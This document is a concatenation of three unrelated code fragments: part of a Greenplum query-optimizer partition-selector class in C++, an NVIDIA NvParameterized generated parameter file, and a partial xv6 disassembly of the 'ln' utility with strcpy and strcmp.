m_pexprCombinedPredicate(NULL)
{
GPOS_ASSERT(mdid->IsValid());
GPOS_ASSERT(NULL != phmulexprEqPredicates);
m_phmulexprPredicates = GPOS_NEW(mp) UlongToExprMap(mp);
m_pexprCombinedPredicate = PexprCombinedPartPred(mp);
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::~CPhysicalPartitionSelector
//
// @doc:
// Dtor
//
//---------------------------------------------------------------------------
CPhysicalPartitionSelector::~CPhysicalPartitionSelector()
{
CRefCount::SafeRelease(m_pdrgpdrgpcr);
CRefCount::SafeRelease(m_part_constraint);
CRefCount::SafeRelease(m_ppartcnstrmap);
m_phmulexprPredicates->Release();
m_mdid->Release();
m_phmulexprEqPredicates->Release();
CRefCount::SafeRelease(m_pexprResidual);
CRefCount::SafeRelease(m_pexprCombinedPredicate);
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::FMatchExprMaps
//
// @doc:
// Check whether two expression maps match
//
//---------------------------------------------------------------------------
BOOL
CPhysicalPartitionSelector::FMatchExprMaps(UlongToExprMap *phmulexprFst,
UlongToExprMap *phmulexprSnd)
{
GPOS_ASSERT(NULL != phmulexprFst);
GPOS_ASSERT(NULL != phmulexprSnd);
const ULONG ulEntries = phmulexprFst->Size();
if (ulEntries != phmulexprSnd->Size())
{
return false;
}
UlongToExprMapIter hmulei(phmulexprFst);
while (hmulei.Advance())
{
ULONG ulKey = *(hmulei.Key());
const CExpression *pexprFst = hmulei.Value();
CExpression *pexprSnd = phmulexprSnd->Find(&ulKey);
if (!CUtils::Equals(pexprFst, pexprSnd))
{
return false;
}
}
return true;
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::FMatchPartCnstr
//
// @doc:
// Match part constraints
//
//---------------------------------------------------------------------------
BOOL
CPhysicalPartitionSelector::FMatchPartCnstr(
UlongToPartConstraintMap *ppartcnstrmap) const
{
if (NULL == m_ppartcnstrmap || NULL == ppartcnstrmap)
{
return NULL == m_ppartcnstrmap && NULL == ppartcnstrmap;
}
return m_ppartcnstrmap->Size() == ppartcnstrmap->Size() &&
FSubsetPartCnstr(ppartcnstrmap, m_ppartcnstrmap);
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::FSubsetPartCnstr
//
// @doc:
// Check if first part constraint map is a subset of the second one
//
//---------------------------------------------------------------------------
BOOL
CPhysicalPartitionSelector::FSubsetPartCnstr(
UlongToPartConstraintMap *ppartcnstrmapFst,
UlongToPartConstraintMap *ppartcnstrmapSnd)
{
GPOS_ASSERT(NULL != ppartcnstrmapFst);
GPOS_ASSERT(NULL != ppartcnstrmapSnd);
if (ppartcnstrmapFst->Size() > ppartcnstrmapSnd->Size())
{
return false;
}
UlongToPartConstraintMapIter partcnstriter(ppartcnstrmapFst);
while (partcnstriter.Advance())
{
ULONG ulKey = *(partcnstriter.Key());
CPartConstraint *ppartcnstr = ppartcnstrmapSnd->Find(&ulKey);
if (NULL == ppartcnstr ||
!partcnstriter.Value()->FEquivalent(ppartcnstr))
{
return false;
}
}
return true;
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::FHasFilter
//
// @doc:
// Check whether this operator has a partition selection filter
//
//---------------------------------------------------------------------------
BOOL
CPhysicalPartitionSelector::FHasFilter() const
{
return (NULL != m_pexprResidual || 0 < m_phmulexprEqPredicates->Size() ||
0 < m_phmulexprPredicates->Size());
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::Matches
//
// @doc:
// Match operators
//
//---------------------------------------------------------------------------
BOOL
CPhysicalPartitionSelector::Matches(COperator *pop) const
{
if (Eopid() != pop->Eopid())
{
return false;
}
CPhysicalPartitionSelector *popPartSelector =
CPhysicalPartitionSelector::PopConvert(pop);
BOOL fScanIdCmp = popPartSelector->ScanId() == m_scan_id;
BOOL fMdidCmp = popPartSelector->MDId()->Equals(MDId());
BOOL fPartCnstrMapCmp = FMatchPartCnstr(popPartSelector->m_ppartcnstrmap);
BOOL fColRefCmp =
CColRef::Equals(popPartSelector->Pdrgpdrgpcr(), m_pdrgpdrgpcr);
BOOL fPartCnstrEquiv =
popPartSelector->m_part_constraint->FEquivalent(m_part_constraint);
BOOL fEqPredCmp = FMatchExprMaps(popPartSelector->m_phmulexprEqPredicates,
m_phmulexprEqPredicates);
BOOL fPredCmp = FMatchExprMaps(popPartSelector->m_phmulexprPredicates,
m_phmulexprPredicates);
BOOL fResPredCmp =
CUtils::Equals(popPartSelector->m_pexprResidual, m_pexprResidual);
return fScanIdCmp && fMdidCmp && fPartCnstrMapCmp && fColRefCmp &&
fPartCnstrEquiv && fEqPredCmp && fResPredCmp && fPredCmp;
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::HashValue
//
// @doc:
// Hash operator
//
//---------------------------------------------------------------------------
ULONG
CPhysicalPartitionSelector::HashValue() const
{
return gpos::CombineHashes(
Eopid(), gpos::CombineHashes(m_scan_id, MDId()->HashValue()));
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::PexprEqFilter
//
// @doc:
// Return the equality filter expression for the given level
//
//---------------------------------------------------------------------------
CExpression *
CPhysicalPartitionSelector::PexprEqFilter(ULONG ulPartLevel) const
{
return m_phmulexprEqPredicates->Find(&ulPartLevel);
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::PexprFilter
//
// @doc:
// Return the non-equality filter expression for the given level
//
//---------------------------------------------------------------------------
CExpression *
CPhysicalPartitionSelector::PexprFilter(ULONG ulPartLevel) const
{
return m_phmulexprPredicates->Find(&ulPartLevel);
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::PexprPartPred
//
// @doc:
// Return the partition selection predicate for the given level
//
//---------------------------------------------------------------------------
CExpression *
CPhysicalPartitionSelector::PexprPartPred(CMemoryPool *mp,
ULONG ulPartLevel) const
{
GPOS_ASSERT(ulPartLevel < UlPartLevels());
CExpression *pexpr = PexprEqFilter(ulPartLevel);
if (NULL != pexpr)
{
// we have one side of an equality predicate - need to construct the
// whole predicate
GPOS_ASSERT(NULL == m_phmulexprPredicates->Find(&ulPartLevel));
pexpr->AddRef();
if (NULL != m_pdrgpdrgpcr)
{
CColRef *pcrPartKey = (*(*m_pdrgpdrgpcr)[ulPartLevel])[0];
return CUtils::PexprScalarEqCmp(mp, pcrPartKey, pexpr);
}
else
{
return pexpr;
}
}
pexpr = m_phmulexprPredicates->Find(&ulPartLevel);
if (NULL != pexpr)
{
pexpr->AddRef();
}
return pexpr;
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::PexprCombinedPartPred
//
// @doc:
// Return a single combined partition selection predicate
//
//---------------------------------------------------------------------------
CExpression *
CPhysicalPartitionSelector::PexprCombinedPartPred(CMemoryPool *mp) const
{
CExpressionArray *pdrgpexpr = GPOS_NEW(mp) CExpressionArray(mp);
const ULONG ulLevels = UlPartLevels();
for (ULONG ul = 0; ul < ulLevels; ul++)
{
CExpression *pexpr = PexprPartPred(mp, ul);
if (NULL != pexpr)
{
pdrgpexpr->Append(pexpr);
}
}
if (NULL != m_pexprResidual)
{
m_pexprResidual->AddRef();
pdrgpexpr->Append(m_pexprResidual);
}
return CPredicateUtils::PexprConjunction(mp, pdrgpexpr);
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::UlPartLevels
//
// @doc:
// Number of partitioning levels
//
//---------------------------------------------------------------------------
ULONG
CPhysicalPartitionSelector::UlPartLevels() const
{
if (NULL != m_pdrgpdrgpcr)
{
return m_pdrgpdrgpcr->Size();
}
return m_phmulexprEqPredicates->Size();
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::PcrsRequired
//
// @doc:
// Compute required columns of the n-th child;
// we only compute required columns for the relational child;
//
//---------------------------------------------------------------------------
CColRefSet *
CPhysicalPartitionSelector::PcrsRequired(CMemoryPool *mp,
CExpressionHandle &exprhdl,
CColRefSet *pcrsInput,
ULONG child_index,
CDrvdPropArray *, // pdrgpdpCtxt
ULONG // ulOptReq
)
{
GPOS_ASSERT(
0 == child_index &&
"Required properties can only be computed on the relational child");
CColRefSet *pcrs = GPOS_NEW(mp) CColRefSet(mp, *pcrsInput);
pcrs->Union(m_pexprCombinedPredicate->DeriveUsedColumns());
pcrs->Intersection(exprhdl.DeriveOutputColumns(child_index));
return pcrs;
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::PosRequired
//
// @doc:
// Compute required sort order of the n-th child
//
//---------------------------------------------------------------------------
COrderSpec *
CPhysicalPartitionSelector::PosRequired(CMemoryPool *mp,
CExpressionHandle &exprhdl,
COrderSpec *posRequired,
ULONG child_index,
CDrvdPropArray *, // pdrgpdpCtxt
ULONG // ulOptReq
) const
{
GPOS_ASSERT(0 == child_index);
return PosPassThru(mp, exprhdl, posRequired, child_index);
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::PdsRequired
//
// @doc:
// Compute required distribution of the n-th child
//
//---------------------------------------------------------------------------
CDistributionSpec *
CPhysicalPartitionSelector::PdsRequired(CMemoryPool *mp,
CExpressionHandle &exprhdl,
CDistributionSpec *pdsInput,
ULONG child_index,
CDrvdPropArray *, // pdrgpdpCtxt
ULONG // ulOptReq
) const
{
GPOS_ASSERT(0 == child_index);
CPartInfo *ppartinfo = exprhdl.DerivePartitionInfo();
BOOL fCovered = ppartinfo->FContainsScanId(m_scan_id);
if (fCovered)
{
// if partition consumer is defined below, do not pass distribution
// requirements down as this will cause the consumer and enforcer to be
// in separate slices
return GPOS_NEW(mp) CDistributionSpecAny(this->Eopid());
}
return PdsPassThru(mp, exprhdl, pdsInput, child_index);
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::PrsRequired
//
// @doc:
// Compute required rewindability of the n-th child
//
//---------------------------------------------------------------------------
CRewindabilitySpec *
CPhysicalPartitionSelector::PrsRequired(CMemoryPool *mp,
CExpressionHandle &exprhdl,
CRewindabilitySpec *prsRequired,
ULONG child_index,
CDrvdPropArray *, // pdrgpdpCtxt
ULONG // ulOptReq
) const
{
GPOS_ASSERT(0 == child_index);
return PrsPassThru(mp, exprhdl, prsRequired, child_index);
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::PcteRequired
//
// @doc:
// Compute required CTE map of the n-th child
//
//---------------------------------------------------------------------------
CCTEReq *
CPhysicalPartitionSelector::PcteRequired(CMemoryPool *, //mp,
CExpressionHandle &, //exprhdl,
CCTEReq *pcter,
ULONG
#ifdef GPOS_DEBUG
child_index
#endif
,
CDrvdPropArray *, //pdrgpdpCtxt,
ULONG //ulOptReq
) const
{
GPOS_ASSERT(0 == child_index);
return PcterPushThru(pcter);
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::FProvidesReqdCols
//
// @doc:
// Check if required columns are included in output columns
//
//---------------------------------------------------------------------------
BOOL
CPhysicalPartitionSelector::FProvidesReqdCols(CExpressionHandle &exprhdl,
CColRefSet *pcrsRequired,
ULONG // ulOptReq
) const
{
return FUnaryProvidesReqdCols(exprhdl, pcrsRequired);
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::PosDerive
//
// @doc:
// Derive sort order
//
//---------------------------------------------------------------------------
COrderSpec *
CPhysicalPartitionSelector::PosDerive(CMemoryPool *, // mp
CExpressionHandle &exprhdl) const
{
return PosDerivePassThruOuter(exprhdl);
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::PdsDerive
//
// @doc:
// Derive distribution
//
//---------------------------------------------------------------------------
CDistributionSpec *
CPhysicalPartitionSelector::PdsDerive(CMemoryPool *, // mp
CExpressionHandle &exprhdl) const
{
return PdsDerivePassThruOuter(exprhdl);
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::PrsDerive
//
// @doc:
// Derive rewindability
//
//---------------------------------------------------------------------------
CRewindabilitySpec *
CPhysicalPartitionSelector::PrsDerive(CMemoryPool *mp,
CExpressionHandle &exprhdl) const
{
return PrsDerivePassThruOuter(mp, exprhdl);
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::EpetDistribution
//
// @doc:
// Return the enforcing type for distribution property based on this operator
//
//---------------------------------------------------------------------------
CEnfdProp::EPropEnforcingType
CPhysicalPartitionSelector::EpetDistribution(CExpressionHandle &exprhdl,
const CEnfdDistribution *ped) const
{
CDrvdPropPlan *pdpplan = exprhdl.Pdpplan(0 /* child_index */);
if (ped->FCompatible(pdpplan->Pds()))
{
// required distribution established by the operator
return CEnfdProp::EpetUnnecessary;
}
// GPDB_12_MERGE_FIXME: Check part propagation spec
#if 0
CPartIndexMap *ppimDrvd = pdpplan->Ppim();
if (!ppimDrvd->Contains(m_scan_id))
{
// part consumer is defined above: prohibit adding a motion on top of the
// part resolver as this will create two slices
return CEnfdProp::EpetProhibited;
}
#endif
// part consumer found below: enforce distribution on top of part resolver
return CEnfdProp::EpetRequired;
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::EpetRewindability
//
// @doc:
// Return the enforcing type for rewindability property based on this operator
//
//---------------------------------------------------------------------------
CEnfdProp::EPropEnforcingType
CPhysicalPartitionSelector::EpetRewindability(
CExpressionHandle &exprhdl, const CEnfdRewindability *per) const
{
// get rewindability delivered by the node
CRewindabilitySpec *prs = CDrvdPropPlan::Pdpplan(exprhdl.Pdp())->Prs();
if (per->FCompatible(prs))
{
// required rewindability is already provided
return CEnfdProp::EpetUnnecessary;
}
// always force spool to be on top of filter
return CEnfdProp::EpetRequired;
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::EpetOrder
//
// @doc:
// Return the enforcing type for order property based on this operator
//
//---------------------------------------------------------------------------
CEnfdProp::EPropEnforcingType
CPhysicalPartitionSelector::EpetOrder(CExpressionHandle &, // exprhdl,
const CEnfdOrder * // ped
) const
{
return CEnfdProp::EpetOptional;
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::OsPrint
//
// @doc:
// Debug print
//
//---------------------------------------------------------------------------
IOstream &
CPhysicalPartitionSelector::OsPrint(IOstream &os) const
{
os << SzId() << ", Scan Id: " << m_scan_id << ", Part Table: ";
MDId()->OsPrint(os);
return os;
}
// EOF
|
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions
// are met:
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
// * Neither the name of NVIDIA CORPORATION nor the names of its
// contributors may be used to endorse or promote products derived
// from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY
// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
// PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
// EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
// PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
// OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Copyright (c) 2018 NVIDIA Corporation. All rights reserved.
// This file was generated by NvParameterized/scripts/GenParameterized.pl
#include "CachedOverlaps_0p0.h"
#include <string.h>
#include <stdlib.h>
using namespace NvParameterized;
namespace nvidia
{
namespace parameterized
{
using namespace CachedOverlaps_0p0NS;
const char* const CachedOverlaps_0p0Factory::vptr =
NvParameterized::getVptr<CachedOverlaps_0p0, CachedOverlaps_0p0::ClassAlignment>();
const uint32_t NumParamDefs = 6;
static NvParameterized::DefinitionImpl* ParamDefTable; // now allocated in buildTree [NumParamDefs];
static const size_t ParamLookupChildrenTable[] =
{
1, 2, 3, 4, 5,
};
#define TENUM(type) nvidia::##type
#define CHILDREN(index) &ParamLookupChildrenTable[index]
static const NvParameterized::ParamLookupNode ParamLookupTable[NumParamDefs] =
{
{ TYPE_STRUCT, false, 0, CHILDREN(0), 2 },
{ TYPE_BOOL, false, (size_t)(&((ParametersStruct*)0)->isCached), NULL, 0 }, // isCached
{ TYPE_ARRAY, true, (size_t)(&((ParametersStruct*)0)->overlaps), CHILDREN(2), 1 }, // overlaps
{ TYPE_STRUCT, false, 1 * sizeof(IntPair_Type), CHILDREN(3), 2 }, // overlaps[]
{ TYPE_I32, false, (size_t)(&((IntPair_Type*)0)->i0), NULL, 0 }, // overlaps[].i0
{ TYPE_I32, false, (size_t)(&((IntPair_Type*)0)->i1), NULL, 0 }, // overlaps[].i1
};
bool CachedOverlaps_0p0::mBuiltFlag = false;
NvParameterized::MutexType CachedOverlaps_0p0::mBuiltFlagMutex;
CachedOverlaps_0p0::CachedOverlaps_0p0(NvParameterized::Traits* traits, void* buf, int32_t* refCount) :
NvParameters(traits, buf, refCount)
{
//mParameterizedTraits->registerFactory(className(), &CachedOverlaps_0p0FactoryInst);
if (!buf) //Do not init data if it is inplace-deserialized
{
initDynamicArrays();
initStrings();
initReferences();
initDefaults();
}
}
CachedOverlaps_0p0::~CachedOverlaps_0p0()
{
freeStrings();
freeReferences();
freeDynamicArrays();
}
void CachedOverlaps_0p0::destroy()
{
// We cache these fields here to avoid overwrite in destructor
bool doDeallocateSelf = mDoDeallocateSelf;
NvParameterized::Traits* traits = mParameterizedTraits;
int32_t* refCount = mRefCount;
void* buf = mBuffer;
this->~CachedOverlaps_0p0();
NvParameters::destroy(this, traits, doDeallocateSelf, refCount, buf);
}
const NvParameterized::DefinitionImpl* CachedOverlaps_0p0::getParameterDefinitionTree(void)
{
if (!mBuiltFlag) // Double-checked lock
{
NvParameterized::MutexType::ScopedLock lock(mBuiltFlagMutex);
if (!mBuiltFlag)
{
buildTree();
}
}
return(&ParamDefTable[0]);
}
const NvParameterized::DefinitionImpl* CachedOverlaps_0p0::getParameterDefinitionTree(void) const
{
CachedOverlaps_0p0* tmpParam = const_cast<CachedOverlaps_0p0*>(this);
if (!mBuiltFlag) // Double-checked lock
{
NvParameterized::MutexType::ScopedLock lock(mBuiltFlagMutex);
if (!mBuiltFlag)
{
tmpParam->buildTree();
}
}
return(&ParamDefTable[0]);
}
NvParameterized::ErrorType CachedOverlaps_0p0::getParameterHandle(const char* long_name, Handle& handle) const
{
ErrorType Ret = NvParameters::getParameterHandle(long_name, handle);
if (Ret != ERROR_NONE)
{
return(Ret);
}
size_t offset;
void* ptr;
getVarPtr(handle, ptr, offset);
if (ptr == NULL)
{
return(ERROR_INDEX_OUT_OF_RANGE);
}
return(ERROR_NONE);
}
NvParameterized::ErrorType CachedOverlaps_0p0::getParameterHandle(const char* long_name, Handle& handle)
{
ErrorType Ret = NvParameters::getParameterHandle(long_name, handle);
if (Ret != ERROR_NONE)
{
return(Ret);
}
size_t offset;
void* ptr;
getVarPtr(handle, ptr, offset);
if (ptr == NULL)
{
return(ERROR_INDEX_OUT_OF_RANGE);
}
return(ERROR_NONE);
}
void CachedOverlaps_0p0::getVarPtr(const Handle& handle, void*& ptr, size_t& offset) const
{
ptr = getVarPtrHelper(&ParamLookupTable[0], const_cast<CachedOverlaps_0p0::ParametersStruct*>(¶meters()), handle, offset);
}
/* Dynamic Handle Indices */
void CachedOverlaps_0p0::freeParameterDefinitionTable(NvParameterized::Traits* traits)
{
if (!traits)
{
return;
}
if (!mBuiltFlag) // Double-checked lock
{
return;
}
NvParameterized::MutexType::ScopedLock lock(mBuiltFlagMutex);
if (!mBuiltFlag)
{
return;
}
for (uint32_t i = 0; i < NumParamDefs; ++i)
{
ParamDefTable[i].~DefinitionImpl();
}
traits->free(ParamDefTable);
mBuiltFlag = false;
}
#define PDEF_PTR(index) (&ParamDefTable[index])
void CachedOverlaps_0p0::buildTree(void)
{
uint32_t allocSize = sizeof(NvParameterized::DefinitionImpl) * NumParamDefs;
ParamDefTable = (NvParameterized::DefinitionImpl*)(mParameterizedTraits->alloc(allocSize));
memset(ParamDefTable, 0, allocSize);
for (uint32_t i = 0; i < NumParamDefs; ++i)
{
NV_PARAM_PLACEMENT_NEW(ParamDefTable + i, NvParameterized::DefinitionImpl)(*mParameterizedTraits);
}
// Initialize DefinitionImpl node: nodeIndex=0, longName=""
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[0];
ParamDef->init("", TYPE_STRUCT, "STRUCT", true);
}
// Initialize DefinitionImpl node: nodeIndex=1, longName="isCached"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[1];
ParamDef->init("isCached", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Whether or not chunk overlaps are cached at a particular hierarchy depth. In this\n case, overlap really means adjacency.", true);
HintTable[1].init("shortDescription", "Whether or not chunk overlaps are cached at a particular hierarchy depth", true);
ParamDefTable[1].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=2, longName="overlaps"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[2];
ParamDef->init("overlaps", TYPE_ARRAY, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The overlaps at a particular hierarchy depth. This is the set of adjacencies,\n stored as pairs of chunk indices, for chunks at a the given hierarchy depth.", true);
HintTable[1].init("shortDescription", "The overlaps at a particular hierarchy depth", true);
ParamDefTable[2].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
ParamDef->setArraySize(-1);
}
// Initialize DefinitionImpl node: nodeIndex=3, longName="overlaps[]"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[3];
ParamDef->init("overlaps", TYPE_STRUCT, "IntPair", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The overlaps at a particular hierarchy depth. This is the set of adjacencies,\n stored as pairs of chunk indices, for chunks at a the given hierarchy depth.", true);
HintTable[1].init("shortDescription", "The overlaps at a particular hierarchy depth", true);
ParamDefTable[3].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=4, longName="overlaps[].i0"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[4];
ParamDef->init("i0", TYPE_I32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("shortDescription", "Helpful documentation goes here", true);
ParamDefTable[4].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=5, longName="overlaps[].i1"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[5];
ParamDef->init("i1", TYPE_I32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("shortDescription", "Helpful documentation goes here", true);
ParamDefTable[5].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// SetChildren for: nodeIndex=0, longName=""
{
static Definition* Children[2];
Children[0] = PDEF_PTR(1);
Children[1] = PDEF_PTR(2);
ParamDefTable[0].setChildren(Children, 2);
}
// SetChildren for: nodeIndex=2, longName="overlaps"
{
static Definition* Children[1];
Children[0] = PDEF_PTR(3);
ParamDefTable[2].setChildren(Children, 1);
}
// SetChildren for: nodeIndex=3, longName="overlaps[]"
{
static Definition* Children[2];
Children[0] = PDEF_PTR(4);
Children[1] = PDEF_PTR(5);
ParamDefTable[3].setChildren(Children, 2);
}
mBuiltFlag = true;
}
void CachedOverlaps_0p0::initStrings(void)
{
}
void CachedOverlaps_0p0::initDynamicArrays(void)
{
overlaps.buf = NULL;
overlaps.isAllocated = true;
overlaps.elementSize = sizeof(IntPair_Type);
overlaps.arraySizes[0] = 0;
}
void CachedOverlaps_0p0::initDefaults(void)
{
freeStrings();
freeReferences();
freeDynamicArrays();
isCached = bool(false);
initDynamicArrays();
initStrings();
initReferences();
}
void CachedOverlaps_0p0::initReferences(void)
{
}
void CachedOverlaps_0p0::freeDynamicArrays(void)
{
if (overlaps.isAllocated && overlaps.buf)
{
mParameterizedTraits->free(overlaps.buf);
}
}
void CachedOverlaps_0p0::freeStrings(void)
{
}
void CachedOverlaps_0p0::freeReferences(void)
{
}
} // namespace parameterized
} // namespace nvidia
|
_ln: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
if(argc != 3){
a: 83 39 03 cmpl $0x3,(%ecx)
{
d: 55 push %ebp
e: 89 e5 mov %esp,%ebp
10: 53 push %ebx
11: 51 push %ecx
12: 8b 59 04 mov 0x4(%ecx),%ebx
if(argc != 3){
15: 74 13 je 2a <main+0x2a>
printf(2, "Usage: ln old new\n");
17: 52 push %edx
18: 52 push %edx
19: 68 c8 07 00 00 push $0x7c8
1e: 6a 02 push $0x2
20: e8 3b 04 00 00 call 460 <printf>
exit();
25: e8 87 02 00 00 call 2b1 <exit>
}
if(link(argv[1], argv[2]) < 0)
2a: 50 push %eax
2b: 50 push %eax
2c: ff 73 08 pushl 0x8(%ebx)
2f: ff 73 04 pushl 0x4(%ebx)
32: e8 da 02 00 00 call 311 <link>
37: 83 c4 10 add $0x10,%esp
3a: 85 c0 test %eax,%eax
3c: 78 05 js 43 <main+0x43>
printf(2, "link %s %s: failed\n", argv[1], argv[2]);
exit();
3e: e8 6e 02 00 00 call 2b1 <exit>
printf(2, "link %s %s: failed\n", argv[1], argv[2]);
43: ff 73 08 pushl 0x8(%ebx)
46: ff 73 04 pushl 0x4(%ebx)
49: 68 db 07 00 00 push $0x7db
4e: 6a 02 push $0x2
50: e8 0b 04 00 00 call 460 <printf>
55: 83 c4 10 add $0x10,%esp
58: eb e4 jmp 3e <main+0x3e>
5a: 66 90 xchg %ax,%ax
5c: 66 90 xchg %ax,%ax
5e: 66 90 xchg %ax,%ax
00000060 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
60: 55 push %ebp
char *os;
os = s;
while((*s++ = *t++) != 0)
61: 31 d2 xor %edx,%edx
{
63: 89 e5 mov %esp,%ebp
65: 53 push %ebx
66: 8b 45 08 mov 0x8(%ebp),%eax
69: 8b 5d 0c mov 0xc(%ebp),%ebx
6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while((*s++ = *t++) != 0)
70: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx
74: 88 0c 10 mov %cl,(%eax,%edx,1)
77: 83 c2 01 add $0x1,%edx
7a: 84 c9 test %cl,%cl
7c: 75 f2 jne 70 <strcpy+0x10>
;
return os;
}
7e: 5b pop %ebx
7f: 5d pop %ebp
80: c3 ret
81: eb 0d jmp 90 <strcmp>
83: 90 nop
84: 90 nop
85: 90 nop
86: 90 nop
87: 90 nop
88: 90 nop
89: 90 nop
8a: 90 nop
8b: 90 nop
8c: 90 nop
8d: 90 nop
8e: 90 nop
8f: 90 nop
00000090 <strcmp>:
int
strcmp(const char *p, const char *q)
{
90: 55 push %ebp
91: 89 e5 mov %esp,%ebp
93: 56 push %esi
94: 53 push %ebx
95: 8b 5d 08 mov 0x8(%ebp),%ebx
98: 8b 75 0c mov 0xc(%ebp),%esi
while(*p && *p == *q)
9b: 0f b6 13 movzbl (%ebx),%edx
9e: 0f b6 0e movzbl (%esi),%ecx
a1: 84 d2 test %dl,%dl
a3: 74 1e je c3 <strcmp+0x33>
a5: b8 01 00 00 00 mov $0x1,%eax
aa: 38 ca cmp %cl,%dl
ac: 74 09 je b7 <strcmp+0x27>
ae: eb 20 jmp d0 <strcmp+0x40>
b0: 83 c0 01 add $0x1,%eax
b3: 38 ca cmp %cl,%dl
b5: 75 19 jne d0 <strcmp+0x40>
b7: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx
bb: 0f b6 0c 06 movzbl (%esi,%eax,1),%ecx
bf: 84 d2 test %dl,%dl
c1: 75 ed jne b0 <strcmp+0x20>
c3: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
}
c5: 5b pop %ebx
c6: 5e pop %esi
return (uchar)*p - (uchar)*q;
c7: 29 c8 sub %ecx,%eax
}
c9: 5d pop %ebp
ca: c3 ret
cb: 90 nop
